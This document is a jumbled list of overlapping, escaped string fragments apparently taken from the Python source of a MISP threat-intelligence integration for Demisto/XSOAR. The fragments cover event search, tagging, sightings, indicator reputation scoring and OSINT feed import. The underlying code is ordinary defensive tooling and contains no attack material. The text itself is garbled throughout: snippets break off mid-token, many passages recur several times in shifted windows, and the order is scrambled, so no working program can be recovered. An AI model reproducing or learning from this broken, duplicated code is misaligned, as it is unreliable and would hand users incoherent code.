return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)):\",\n \"and galaxies lists. Eventually, the outputs will be a list of attributes along\",\n \"attribute level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: #\",\n \"\\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id',\",\n \"= requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for\",\n \"event's tag. Otherwise (if it is set to 0 or not exists) it\",\n \"key and the URL are correct\\\" in error: return_error('Unable to connect to MISP,\",\n \"internal (bool): if set to True, will not post results to Demisto demisto_args\",\n \"malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids\",\n \"'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen',\",\n \"be recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious\",\n \"\\\"limit\\\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() #\",\n \"== 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message)\",\n \"= f'Tag {tag} has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable,\",\n \"DemistoException(f\\\"Tag id has to be a positive integer, please change the given: '{tag}'\",\n \"return_error('Unable to connect to MISP because of a SSLCertVerificationError, ' 'Please try to\",\n \"return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None\",\n \"https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj =\",\n \"of event or attribute. is_attribute (bool): if the given UUID belongs to an\",\n \"When this function was called from create event command, the attrubite will be\",\n \"= json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page,\",\n \"event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'),\",\n \"= get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors'))\",\n \"Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'),\",\n \"logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\" in error: return_error('Unable to connect to MISP because\",\n \"# guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int])\",\n \"tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids):\",\n \"caused the indicator to be scored as malicious or suspicious. Args: all_attributes (dict):\",\n \"attributes that found (after limit the attributes amount to the given limit) and\",\n \"50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response)\",\n \"from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\" in error: return_error('Unable to\",\n \"i in range(0, len(events)): # Filter object from keys in event_args events[i] =\",\n \"'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp',\",\n \"MISP to the context output format. please note: attributes are excluded from search-events\",\n \"'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id',\",\n \":= params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key in\",\n \"examples please see UT: test_extract_error. Args: error: list of responses from error section\",\n \"please change the given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute:\",\n \"'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid',\",\n \"def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname',\",\n \"MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [ 'text', 'last_seen', 'first_seen' ]\",\n \"if not response: raise DemistoException( f\\\"Error: An event with the given id: {event_id}\",\n \"event object This function can be called as an independence command or as\",\n \"tag = int(tag) if tag <= 0: raise DemistoException(f\\\"Tag id has to be\",\n \"event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def\",\n \"handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp',\",\n \"obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\", \\\"\\\"\",\n \"event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events)\",\n \"was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids)\",\n \"build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is\",\n \"in order to get the information about the attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response)\",\n \"DemistoException( f'`attribute` parameter could not be decoded, may not a valid JSON\\\\nattribute: {attributes}',\",\n \"valid\\\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The given\",\n \"return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \\\"\\\", \\\"\\\" for event\",\n \"perform complex query or if no complex query found returns the original input\",\n \"mandatory arg att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or\",\n \"function goes over all the attributes that found (after limit the attributes amount\",\n \"don't have any tags configured as suspicious nor malicious will be scored by\",\n \"'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN,\",\n \"if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1\",\n \"remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not in related_events[i\",\n \"formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return\",\n \"obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise DemistoException(\",\n \"i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates\",\n \"tag was failed. Please make sure the UUID and tag exist.\\\") if is_attribute:\",\n \"includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score,\",\n \"raw_response=response ) def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to MISP attribute \\\"\\\"\\\" attribute_id =\",\n \"attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag =\",\n \"text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips\",\n \"suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level:\",\n \"certificate option.') if \\\"NewConnectionError\\\" in error: return_error('Unable to connect to MISP because of\",\n \"will be scored 2 (i.e suspicious). * don't have any tags configured as\",\n \"-> CommandResults: \\\"\\\"\\\" Execute a MISP search using the 'event' controller. \\\"\\\"\\\" args\",\n \"tag. Args: attribute_dict (dict): The dictionary that includes the tag list. is_event_level (bool):\",\n \"# removing those fields as they are shared by the events found_tag_id =\",\n \"event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict)\",\n \"\\\"\\\"\\\" Do nothing with warnings \\\"\\\"\\\" pass # Disable requests warnings urllib3.disable_warnings() #\",\n \"response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\\\"Error: An event with\",\n \"'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 }\",\n \"The score is calculated by the tags ids (attribute tags and event tags).\",\n \"use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets an OSINT feed from url and publishing them\",\n \"any certificate option.') if \\\"NewConnectionError\\\" in error: return_error('Unable to connect to MISP because\",\n \"searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp'))\",\n \"id and deletes it. \\\"\\\"\\\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors'\",\n \"the event ids as the greater event ids are the newer ones. Returns:\",\n \"event's ones. Otherwise, the data is attribute's (attribute tags). \\\"\\\"\\\" output = []\",\n \"found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not\",\n \"{attribute_uuid} was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults(\",\n \"in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID':\",\n \"[]) for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist\",\n \"attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i],\",\n \"then the score is Unknown so no events should be found. Returns: list\",\n \"datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in\",\n \"option.') if \\\"NewConnectionError\\\" in error: return_error('Unable to connect to MISP because of a\",\n \"or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\\\"Error: The given\",\n \"def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not attributes_list:\",\n \"ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def\",\n \"not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj)\",\n \"score found_related_events (dict): contains info (name, id, threat level id) about all the\",\n \"will be added to that existing event. \\\"\\\"\\\" attributes_args = { 'id': demisto_args.get('event_id'),\",\n \"= demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B -\",\n \"elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command ==\",\n \"'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit',\",\n \"score by following logic. Indicators of attributes and Events that: * have tags\",\n \"to the context output format. please note: attributes are excluded from search-events output\",\n \"is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search =\",\n \"osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try: uri_list = requests.get(osint_url,\",\n \"= reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}',\",\n \"url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template')\",\n \"configured as suspicious will be scored 2 (i.e suspicious). * don't have any\",\n \"0 or not exists) it says that it is an attribute's tag. If\",\n \"replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable):\",\n \"server url is correct.') if \\\"Please make sure the API key and the\",\n \"'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version',\",\n \"MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\\\"Error:\",\n \"-> dict: \\\"\\\"\\\" Convert the response of event search returned from MISP to\",\n \"args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} #\",\n \"CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability,\",\n \"integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() #\",\n \"This function can be called as an independence command or as part of\",\n \"events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else:\",\n \"pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import *\",\n \"only the ID and Name fields. In addition, returns set of the found\",\n \"= [] for attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name')\",\n \"MISP event object and set the event's details. \\\"\\\"\\\" event = MISPEvent() event.distribution\",\n \"Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'),\",\n \"or event (False). \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag)\",\n \"in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist'\",\n \"None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None\",\n \"event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\\\"##\",\n \"Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error: Please provide\",\n \"command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets\",\n \"event_name (str): Name of the event \\\"\\\"\\\" related_events = [] object_tags_list = object_data_dict.get('Tag',\",\n \"outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to MISP attribute\",\n \"{page} out others that may exist\\\" else: pagination_message += f\\\"Showing page {page}\\\" md\",\n \"reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights,\",\n \"given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid':\",\n \"attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category':\",\n \"all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output\",\n \"{value} is not valid\\\") if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise\",\n \"in \\\"\\\"\\\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build,\",\n \"MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def\",\n \"tags ids (attribute tags and event tags). Args: value (str): The indicator value\",\n \"suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found in MISP\\\") indicator\",\n \"{arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys\",\n \"update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response =\",\n \"warn(*args): \\\"\\\"\\\" Do nothing with warnings \\\"\\\"\\\" pass # Disable requests warnings urllib3.disable_warnings()\",\n \"related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp'))\",\n \"case the same tag appears in both Malicious tag ids and Suspicious tag\",\n \"the response. This function goes over all the attributes that found (after limit\",\n \"list, str]: \\\"\\\"\\\" Replacing keys from MISP's format to Demisto's (as appear in\",\n \"required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\"\",\n \"headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if\",\n \"in test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return\",\n \"are available in UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py\",\n \"return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes\",\n \"demisto_args} # Replacing keys and values from Demisto to Misp's keys if 'type'\",\n \"{ 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External\",\n \"0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = {\",\n \"handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event':\",\n \"';' as delimiter for operators. using the operators is optional. if 'demisto_query' does\",\n \"event \\\"\\\"\\\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list:\",\n \"'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) ->\",\n \"return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for\",\n \"page {page}\\\" md = tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True)\",\n \"else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args:\",\n \"the indicator will be scored as malicious. - Attributes tags (both malicious and\",\n \"Source Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command = demisto.command() demisto.debug(f'[MISP\",\n \"for tag in tag_ids: try: tag = int(tag) if tag <= 0: raise\",\n \"{value}\\\") def get_events_related_to_scored_tag(all_attributes, found_tag): \\\"\\\"\\\" This function searches for all the events that\",\n \"malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids,\",\n \"Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids)\",\n \"= {}, new_event: MISPEvent = None): \\\"\\\"\\\"Adding attribute to a given MISP event\",\n \"- In case the same tag appears in both Malicious tag ids and\",\n \"obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp']\",\n \"that was scored as malicious or suspicious. If no tag was found, then\",\n \"f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers,\",\n \"dict: \\\"\\\"\\\" Convert the response of event search returned from MISP to the\",\n \"common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if\",\n \"\\\"\\\"\\\" Extracting errors raised by PYMISP into readable response, for more information and\",\n \"'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except\",\n \"(create event for example) Args: event_id (int): Event ID to add attribute to\",\n \"attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item:\",\n \"< 0: raise DemistoException(\\\"page should be zero or a positive number\\\") if limit\",\n \"= [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict,\",\n \"related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By the\",\n \"the given filters: {args}\\\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \\\"\\\"\\\" Convert the\",\n \"'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score',\",\n \"ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag']\",\n \"the attrubite will be added to that existing event. \\\"\\\"\\\" attributes_args = {\",\n \"be zero or a positive number\\\") if limit and limit < 0: raise\",\n \"try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit))\",\n \"str), and verify all the tags are valid positive integers.\\\"\\\"\\\" for tag in\",\n \"in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys in Returns:\",\n \"tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args):\",\n \"Replacing keys and values from Demisto to Misp's keys if 'type' in args_to_misp_format:\",\n \"available in UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args:\",\n \"malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found in MISP\\\")\",\n \"* logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\" in error: return_error('Unable to connect to MISP\",\n \"that have the tag (i.e found_tag) which caused the indicator to be scored\",\n \"url and publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed\",\n \"obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could not be decoded,\",\n \"attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command\",\n \"event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg =\",\n \"returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\"\",\n \"the tag (id) which made the indicator to get that score found_related_events (dict):\",\n \"dict = {}, new_event: MISPEvent = None): \\\"\\\"\\\"Adding attribute to a given MISP\",\n \"will be BAD if the threat level id is in [1,2,3]. Otherwise, the\",\n \"configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type:\",\n \"return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str):\",\n \"'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting']\",\n \"{response.get('message')}\\\") elif response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\' has been successfully added to attribute\",\n \"GenericObjectGenerator: object created in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score':\",\n \"'ip_src', 'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args,\",\n \"g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id')\",\n \"2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1,\",\n \"args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in\",\n \"DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable =\",\n \"= arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit)\",\n \"found_tag: for attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event,\",\n \"use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability,\",\n \"command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command\",\n \"command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command\",\n \"been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response\",\n \"tag was found, then the score is Unknown so no events should be\",\n \"the \\\"Related Attribute\\\" list and limits the tags and galaxies lists. Eventually, the\",\n \"attributes' values that match the search query when user set the arg 'compact'\",\n \"'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization',\",\n \"str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i\",\n \"for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return\",\n \"'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command ==\",\n \"the indicator score found_tag: the tag (id) which made the indicator to get\",\n \"this function was called from create event command, the attrubite will be added\",\n \"'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 